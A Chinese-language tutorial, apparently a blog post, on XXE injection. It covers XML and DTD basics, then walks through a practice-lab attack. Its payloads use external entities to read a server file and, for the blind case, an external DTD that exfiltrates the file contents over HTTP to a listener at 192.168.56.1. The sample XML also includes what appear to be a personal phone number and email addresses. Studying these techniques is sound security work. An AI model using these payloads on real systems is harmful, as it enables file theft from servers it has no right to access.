xxe漏洞与Blind_xxe

xxe漏洞

xml外部实体化注入漏洞

xml实例

xml文档实例

<?xml version="1.0" encoding="UTF-8"?> //文档头
<site>//副标签
  <name>RUNOOB</name>//字标签
  <url>https://www.runoob.com</url>
  <logo>runoob-logo.png</logo>
  <desc>编程学习网站</desc>
</site>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person [
<!ELEMENT person (#PCDATA|name|addr|tel|email)*>
<!ELEMENT name (#PCDATA)>
<!ELEMENT addr (#PCDATA)>
<!ELEMENT tel (#PCDATA)>
<!ELEMENT email (#PCDATA)>
]> -- dtd
<person>Chan
	<name>Jason</name>
	<addr>Shanghai</addr>
	<tel>18701772821</tel>
	<email>1368628966@qq.com</email>
	<email>18701772821@163.com</email>
</person> -- xml

这里的dtd就是xml的内部实体
在xml中所有的标签名称都可以自定义
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"> -- 外部包含
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

了解完这些就可以尝试判断靶场中是否存在xxe

xxe回显文件读取

传入

<a>aaaaa<a>

查看回显

image.png

得知,回显式xxe

可以尝试引入外部实体读取文件

<?xml version="1.0"?>
<!DOCTYPE as [
<!ENTITY f SYSTEM "/www/wwwroot/pk/.user.ini">
]>
<a>&f;</a>

读取成功

image.png

通过外部实体读取文件需要知道文件的绝对路径

<?xml version="1.0"?>
<!DOCTYPE as [
<!ENTITY f SYSTEM "/www/wwwroot/pk/.user.ini">]>
<a>&f;</a>

也可以通过http协议读取文件信息。

xxe无回显文件读取

当xxe无回显时,可以尝试通过协议外带信息

payload:

test.dtd

<!ENTITY % file SYSTEM "file:///www/wwwroot/pk/.user.ini">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.56.1:8082/%file;'>">
%all;

load

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://192.168.56.1:8000/test.dtd">
%remote;
%send;
]>

在dtd文件中实体file通过file://伪协议读取本地信息,第二个实体all定义了一个内部实体send,他用于发起一个http请求,并且file的参数被传入了url后面

当这个DTD被解析时,file 实体会加载指定文件的内容,然后 all 实体的扩展会导致 send 实体被解析,尝试向指定的URL发送一个HTTP请求,请求的路径中包含 file 实体加载的文件内容

我们只要监听端口就可以获得文件的信息

image.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值